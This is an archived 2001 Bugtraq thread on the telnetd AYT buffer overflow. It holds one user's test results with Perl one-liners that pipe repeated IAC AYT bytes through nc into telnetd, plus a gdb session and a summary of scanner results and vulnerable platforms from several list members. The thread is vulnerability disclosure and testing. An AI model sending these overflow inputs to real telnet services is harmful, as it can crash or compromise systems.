[Resent after 4 days passed and not seen on the list]
Hi,
I ran the Perl code supplied by David Maxwell (on Bugtraq) against Linux
with telnet 0.17-7,
and saw some funny results.
These results appear to depend on the length of the hostname of the attacked
machine.
Originally, the machine was called "neo.iss.deloitte.co.za", and I saw
changes after the 243'rd server response:
[240 similar responses deleted]
[neo.iss.deloitte.co.za : yes]^M
^M
[neo.iss.deloitte.co.za : yes]^M
^M
[neo.iss.deloitte.co.za : yes]^M
^M
[neo.iss.deloitte.co.za ^M^M[neo.iss.deloitte.co.za : yes]
Note the missing ":yes", and the fact that they now start staying on the
same line, whereas before they were on their own lines. This line continues
for 8225 characters in all, and ends with:
[neo.iss.deloitte.co.za : yes]^M^M[neza : yes]^M
Note the neza, which, to my mind, is the hostname with the middle of the
name cut out.
Also, depending on the name of the victim, there seems to be another error
as well. Having set my hostname to 1 character "n", and saving the output of
the negotiation stream to a file, I saw:
# perl -e 'for ($i=0;$i<1939;$i++) { print "\377\366" }' | nc -v 127.0.0.1
telnet > telnetd_exp8
-rw-r--r-- 1 root root 25219 Jul 27 09:18 telnetd_exp8
# perl -e 'for ($i=0;$i<1940;$i++) { print "\377\366" }' | nc -v 127.0.0.1
telnet > telnetd_exp8
-rw-r--r-- 1 root root 12 Jul 27 09:18 telnetd_exp8
For a 3 character hostname, the cut-off was 1681-1682
I have no idea how to take this further, but if anyone is interested in more
testing on this computer, drop me a mail, please.
Rogan
From a gdb session:
[root@neo /root]# perl -e 'sleep 10; for ($i=0;$i<512;$i++) { print
"\377\366" }' | nc 127.0.0.1 telnet
[root@neo /root]# rpm -qa | grep telnet
telnet-0.17-7
[root@neo /root]# ps auwx | grep telnet
root 14838 0.2 1.9 1340 596 pts/1 S 08:41 0:00 nc -v
127.0.0.1 telnet
root 14839 0.8 2.3 1644 704 ? S 08:41 0:00 in.telnetd
[root@neo /root]# gdb
GNU gdb 5.0
This GDB was configured as "i386-redhat-linux".
(gdb) attach 14839
Attaching to Pid 14839
0x401285f4 in ?? ()
(gdb) continue
Continuing.
Program exited with code 01.
(gdb)
-----Original Message-----
From: aleph1at_private [mailto:aleph1at_private]
Sent: 26 July 2001 11:21
To: bugtraqat_private
Subject: Re: Telnetd AYT overflow scanner
Summary of responses on this thread:
From: Homer Wilson Smith <homerat_private>
Inconsistent results on Linux 2.0.38 running older libc.
Script started on Wed Jul 25 16:10:02 2001
superoot emerald/root: ayt romance
Telnetd AYT overflow scanner, by Security Point(R)
Host: romance
Connected to remote host...
Sending telnet options... stand by...
Telnetd on romance vulnerable
superoot emerald/root: ayt romance
Telnetd AYT overflow scanner, by Security Point(R)
Host: romance
Connected to remote host...
Sending telnet options... stand by...
Telnetd on romance not vulnerable
From: Rick Crelia <rcreliaat_private>
I can corroraborate your findings. The SPtelnetAYT scanner is producing
"hits" on Linux boxes (2.0.x, 2.2.x, variety of Netkits) whereas the
scut scanner said they were not vulnerable. This was also the case for
Solaris 7 and Solaris 8 boxes with the latest Sun patch clusters.
As of today, it looks like OpenBSD 2.9 and the latest Netkit for Linux
are known to be not vulnerable.
From: "Chirk C. Chu" <c3chuat_private>
Based on the results from the Telnet AYT scanner provided by
infoat_private SRP telnetd is vulnerable. Versions tested:
1.7.1, 1.7.2 and 1.7.3.
Red Hat 7.1 - SRP 1.7.3
$ ./ttest kingpinz
Telnetd AYT overflow scanner, by Security Point(R)
Host: kingpinz
Connected to remote host...
Sending telnet options... stand by...
Telnetd on kingpinz vulnerable
Solaris 8 - SRP 1.7.2
$ ./ttest snoopy
Telnetd AYT overflow scanner, by Security Point(R)
Host: snoopy
Connected to remote host...
Sending telnet options... stand by...
Telnetd on snoopy vulnerable
Tru64 4.0G - SRP 1.7.1
$ ./ttest chaos
Telnetd AYT overflow scanner, by Security Point(R)
Host: chaos
Connected to remote host...
Sending telnet options... stand by...
Telnetd on chaos vulnerable
From: Serguei Patchkovskii <patchkovat_private>
Unfortunately, this scanner generates false negatives. It reports
Tru64 4.0d pl8 as not vulnerable. However, it causes telnetd on
this system to dump core - which would presumably indicate that
it -is- vulnerable.
From: GVB <gvbat_private>
Juniper Routers (running something based on one of the BSD's) are also
vulnerable to this telnetd attack.
From: bow <bowat_private>
I tested this on a FreeBSD 3.4-RELEASE box and it responded "not
vulnerable". However, the telnetd daemon did signal 11 and core. Hmmm.
Also I tested it on SCO 3.2 and "SCO OpenServer(TM) Release 5". They both
returned "vulnerable".
From: tasos <stampolidisat_private>
Slackware 8 according to the scanner is vulnverable but the exploit
doesn't work. Slackware 8 uses linux netkit 0.17 which is not affected.
Testing the scanner on a win2k w/ SP2 it crashed the telnetd. Couldn't
run the exploit against the server.
From: "Leandro Quibem Magnabosco" <leandroat_private-sc.br>
I've tested on Redhat 7.1 and it is vulnerable.
Telnetd AYT overflow scanner, by Security Point(R)
Host: 200.135.30.1
Connected to remote host...
Sending telnet options... stand by...
Telnetd on 200.135.30.1 vulnerable
Fortunatedly, I'm not using telnet on this server, so... I've disabled it.
From: "Willem" <imailtestat_private>
I ran the scanner aginst a slack 7.1 and a 8.0 box to see what would
happen and it said it was vulernable. If it really is or not i dunno.
From: "Tom Stowell" <jtsat_private>
XCONSOLE (actually, TELNETD.NLM) for NetWare 5.1 SP2a appears to be
vulnerable, although I didn't observe any direct or indirect effects of
the overflow (i.e.:the service continued responding to requests normally,
and no error messages were printed to the server console or the logs).
From: Jonas Eriksson <jeat_private>
I can confirm that the following Nokia IPSO releases are not vulnerable
to the telnetd bug:
* IPSO-3.2.1-fcs1-11.24.1999-102644-849
* IPSO-3.3-FCS3-09.14.2000-234849-567
* IPSO-3.4-FCS4A-06.26.2001-235900-767
--
Elias Levy
SecurityFocus.com
http://www.securityfocus.com/
Si vis pacem, para bellum
This archive was generated by hypermail 2b30 : Tue Jul 31 2001 - 09:14:23 PDT